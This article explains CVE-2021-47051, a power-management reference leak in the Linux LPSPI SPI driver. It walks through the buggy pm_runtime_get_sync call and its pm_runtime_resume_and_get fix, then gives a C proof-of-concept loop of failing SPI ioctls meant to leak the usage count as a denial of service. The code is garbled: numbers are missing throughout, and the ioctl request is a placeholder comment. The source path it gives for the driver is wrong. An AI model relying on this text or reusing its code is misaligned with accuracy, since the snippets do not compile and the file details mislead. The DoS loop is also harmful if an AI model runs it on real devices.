In early 2021, a subtle but important vulnerability was patched in the Linux kernel affecting the NXP/Freescale LPSPI SPI (Serial Peripheral Interface) controller driver. The issue, registered as CVE-2021-47051, involved a power management (PM) reference leak due to improper use of Linux's PM runtime API functions. In simple terms, some internal reference counters were not being balanced right, leading to potential resource leaks. This article will explain CVE-2021-47051 in plain language, walk through the affected code, and show you what an exploit might look like.
What’s The Problem?
A small function in the SPI driver—lpspi_prepare_xfer_hardware()—was using the pm_runtime_get_sync() function without handling errors properly. When this function fails, it still increases an internal usage counter. Forgetting to decrement this counter (by calling pm_runtime_put()) means the device thinks it’s always in use—eventually leading to resource exhaustion.
The crux
ret = pm_runtime_get_sync(lpspi->dev);
if (ret < )
return ret; // <-- "leak": usage count incremented even if error returned
The fix was to use pm_runtime_resume_and_get(), which only increments the counter on success.
Original References
- Linux Kernel Commit Fix
- CVE Record at cve.org
- NXP Community Forum Description
- Linux PM Runtime API Docs
Breaking Down the Vulnerability
Function with the bug:
sound/soc/fsl/fsl_lpspi.c (lines and file may differ depending on kernel version)
The Offending Pattern
int lpspi_prepare_xfer_hardware(struct spi_master *master)
{
int ret;
/* ... */
ret = pm_runtime_get_sync(lpspi->dev);
if (ret < )
return ret; // BAD: reference leak
/* ... */
}
If pm_runtime_get_sync() fails, the PM usage count is still incremented, causing a leak.
Why is this bad?
Over time, repeated failures would keep bumping the usage counter, eventually "leaking" references and causing the device never to officially idle, wasting power and possibly denying access to it.
The maintainers resolved this by switching to
ret = pm_runtime_resume_and_get(lpspi->dev);
if (ret < )
return ret;
Why?
pm_runtime_resume_and_get() will only increment the PM usage count if it successfully brings the device out of low power, avoiding the leak.
Demonstrating the Problem (PoC)
Let’s simulate what could happen if the vulnerable code is triggered many times, such as from a user with access to SPI devices (maybe through /dev/spidev*). This PoC is for educational use only.
> Note: You need root access and custom kernel build to experiment.
Example: "leaking" the power reference via ioctl
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define RUNS 100
int main() {
int fd = open("/dev/spidev.", O_RDWR);
if (fd < ) {
perror("open");
return 1;
}
for (int i = ; i < RUNS; ++i) {
// Simulate parameter that will fail in lpspi_prepare_xfer_hardware
struct spi_ioc_transfer xfer = {};
xfer.len = ; // Will likely error out
int ret = ioctl(fd, /* SPI_IOC_MESSAGE(1) or similar */, &xfer);
if (ret < ) {
perror("ioctl failed");
// It failed, but kernel still incremented the pm count!
}
}
close(fd);
return ;
}
What happens?
After many errors, you might see in /sys/devices/…/power/runtime_usage that the usage count is not dropping (use cat or watch -n1 to monitor). This is the "leak" in action.
Exploit Details
- Attack Vector: Any process (usually root, or a process with access to the SPI device) could repeatedly trigger hardware transfers in a way that causes the driver to fail in lpspi_prepare_xfer_hardware().
- Impact: The device becomes "stuck" in runtime enabled state, cannot enter low power, and the system’s resources (PM reference) are leaked.
- Denial of Service: If the leak is repeated enough, it could cause power governance to break or eventually, in extreme cases, make the device malfunctions or waste a lot of power.
- Severity: Low in most real-world desktop/server scenarios, higher on embedded or power-critical devices.
How To Fix
If you are maintaining a kernel or working on devices using LPSPI, make sure your kernel has the fix committed in dc69cb7c92a.
If you want to backport, replace the buggy call like this
- ret = pm_runtime_get_sync(lpspi->dev);
+ ret = pm_runtime_resume_and_get(lpspi->dev);
if (ret < )
return ret;
Takeaway
CVE-2021-47051 shows that even small mistakes with reference counters and resource management in kernel drivers can lead to persistent resource leaks and subtle DoS conditions. These bugs are especially important in embedded Linux systems, or where power management is mission-critical.
Always be careful with PM runtime APIs!
Make sure you balance every get with a put, and use helpers like pm_runtime_resume_and_get() to avoid these pitfalls.
Further Reading & Resources
- Linux Kernel SPI Subsystem Docs
- Runtime Power Management
- CVE-2021-47051 on NVD
- Kernel Hardening Projects
Timeline
Published on: 02/28/2024 09:15:40 UTC
Last modified on: 12/09/2024 18:46:41 UTC